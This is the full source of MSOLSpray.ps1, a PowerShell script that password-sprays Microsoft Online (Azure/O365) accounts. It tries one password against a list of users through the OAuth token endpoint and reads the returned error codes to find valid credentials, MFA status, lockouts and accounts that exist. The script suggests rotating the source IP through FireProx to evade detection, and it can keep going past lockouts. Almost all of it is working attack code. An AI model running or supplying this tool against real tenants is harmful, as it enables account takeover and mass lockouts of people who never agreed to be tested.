MSOLSpray.ps1 (8727B)
1 function Invoke-MSOLSpray{ 2 3 4 <# 5 .SYNOPSIS 6 This module will perform password spraying against Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled. 7 MSOLSpray Function: Invoke-MSOLSpray 8 Author: Beau Bullock (@dafthack) 9 License: BSD 3-Clause 10 Required Dependencies: None 11 Optional Dependencies: None 12 13 .DESCRIPTION 14 15 This module will perform password spraying against Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled. 16 17 .PARAMETER UserList 18 19 UserList file filled with usernames one-per-line in the format "user@domain.com" 20 21 .PARAMETER Password 22 23 A single password that will be used to perform the password spray. 24 25 .PARAMETER OutFile 26 27 A file to output valid results to. 28 29 .PARAMETER Force 30 31 Forces the spray to continue and not stop when multiple account lockouts are detected. 32 33 .PARAMETER URL 34 35 The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from. 36 37 .EXAMPLE 38 39 C:\PS> Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 40 Description 41 ----------- 42 This command will use the provided userlist and attempt to authenticate to each account with a password of Winter2020. 43 44 .EXAMPLE 45 46 C:\PS> Invoke-MSOLSpray -UserList .\userlist.txt -Password P@ssword -URL https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox -OutFile valid-users.txt 47 Description 48 ----------- 49 This command uses the specified FireProx URL to spray from randomized IP addresses and writes the output to a file. See this for FireProx setup: https://github.com/ustayready/fireprox. 50 #> 51 Param( 52 53 54 [Parameter(Position = 0, Mandatory = $False)] 55 [string] 56 $OutFile = "", 57 58 [Parameter(Position = 1, Mandatory = $False)] 59 [string] 60 $UserList = "", 61 62 [Parameter(Position = 2, Mandatory = $False)] 63 [string] 64 $Password = "", 65 66 # Change the URL if you are using something like FireProx 67 [Parameter(Position = 3, Mandatory = $False)] 68 [string] 69 $URL = "https://login.microsoft.com", 70 71 [Parameter(Position = 4, Mandatory = $False)] 72 [switch] 73 $Force 74 ) 75 76 $ErrorActionPreference= 'silentlycontinue' 77 $Usernames = Get-Content $UserList 78 $count = $Usernames.count 79 $curr_user = 0 80 $lockout_count = 0 81 $lockoutquestion = 0 82 $fullresults = @() 83 84 Write-Host -ForegroundColor "yellow" ("[*] There are " + $count + " total users to spray.") 85 Write-Host -ForegroundColor "yellow" "[*] Now spraying Microsoft Online." 86 $currenttime = Get-Date 87 Write-Host -ForegroundColor "yellow" "[*] Current date and time: $currenttime" 88 89 ForEach ($username in $usernames){ 90 91 # Adding an extra comment for reasons... 92 # User counter 93 $curr_user += 1 94 Write-Host -nonewline "$curr_user of $count users tested`r" 95 96 # Setting up the web request 97 $BodyParams = @{'resource' = 'https://graph.windows.net'; 'client_id' = '1b730954-1685-4b74-9bfd-dac224a7b894' ; 'client_info' = '1' ; 'grant_type' = 'password' ; 'username' = $username ; 'password' = $password ; 'scope' = 'openid'} 98 $PostHeaders = @{'Accept' = 'application/json'; 'Content-Type' = 'application/x-www-form-urlencoded'} 99 $webrequest = Invoke-WebRequest $URL/common/oauth2/token -Method Post -Headers $PostHeaders -Body $BodyParams -ErrorVariable RespErr 100 101 # If we get a 200 response code it's a valid cred 102 If ($webrequest.StatusCode -eq "200"){ 103 Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password" 104 $webrequest = "" 105 $fullresults += "$username : $password" 106 } 107 else{ 108 # Check the response for indication of MFA, tenant, valid user, etc... 109 # Here is a referense list of all the Azure AD Authentication an Authorization Error Codes: 110 # https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes 111 112 # Standard invalid password 113 If($RespErr -match "AADSTS50126") 114 { 115 continue 116 } 117 118 # Invalid Tenant Response 119 ElseIf (($RespErr -match "AADSTS50128") -or ($RespErr -match "AADSTS50059")) 120 { 121 Write-Output "[*] WARNING! Tenant for account $username doesn't exist. Check the domain to make sure they are using Azure/O365 services." 122 } 123 124 # Invalid Username 125 ElseIf($RespErr -match "AADSTS50034") 126 { 127 Write-Output "[*] WARNING! The user $username doesn't exist." 128 } 129 130 # Microsoft MFA response 131 ElseIf(($RespErr -match "AADSTS50079") -or ($RespErr -match "AADSTS50076")) 132 { 133 Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates MFA (Microsoft) is in use." 134 $fullresults += "$username : $password" 135 } 136 137 # Conditional Access response (Based off of limited testing this seems to be the repsonse to DUO MFA) 138 ElseIf($RespErr -match "AADSTS50158") 139 { 140 Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The response indicates conditional access (MFA: DUO or other) is in use." 141 $fullresults += "$username : $password" 142 } 143 144 # Locked out account or Smart Lockout in place 145 ElseIf($RespErr -match "AADSTS50053") 146 { 147 Write-Output "[*] WARNING! The account $username appears to be locked." 148 $lockout_count++ 149 } 150 151 # Disabled account 152 ElseIf($RespErr -match "AADSTS50057") 153 { 154 Write-Output "[*] WARNING! The account $username appears to be disabled." 155 } 156 157 # User password is expired 158 ElseIf($RespErr -match "AADSTS50055") 159 { 160 Write-Host -ForegroundColor "green" "[*] SUCCESS! $username : $password - NOTE: The user's password is expired." 161 $fullresults += "$username : $password" 162 } 163 164 # Unknown errors 165 Else 166 { 167 Write-Output "[*] Got an error we haven't seen yet for user $username" 168 $RespErr 169 } 170 } 171 172 # If the force flag isn't set and lockout count is 10 we'll ask if the user is sure they want to keep spraying 173 if (!$Force -and $lockout_count -eq 10 -and $lockoutquestion -eq 0) 174 { 175 $title = "WARNING! Multiple Account Lockouts Detected!" 176 $message = "10 of the accounts you sprayed appear to be locked out. Do you want to continue this spray?" 177 178 $yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", ` 179 "Continues the password spray." 180 181 $no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", ` 182 "Cancels the password spray." 183 184 $options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no) 185 186 $result = $host.ui.PromptForChoice($title, $message, $options, 0) 187 $lockoutquestion++ 188 if ($result -ne 0) 189 { 190 Write-Host "[*] Cancelling the password spray." 191 Write-Host "NOTE: If you are seeing multiple 'account is locked' messages after your first 10 attempts or so this may indicate Azure AD Smart Lockout is enabled." 192 break 193 } 194 } 195 196 } 197 198 # Output to file 199 if ($OutFile -ne "") 200 { 201 If ($fullresults) 202 { 203 $fullresults | Out-File -Encoding ascii $OutFile 204 Write-Output "Results have been written to $OutFile." 205 } 206 } 207 }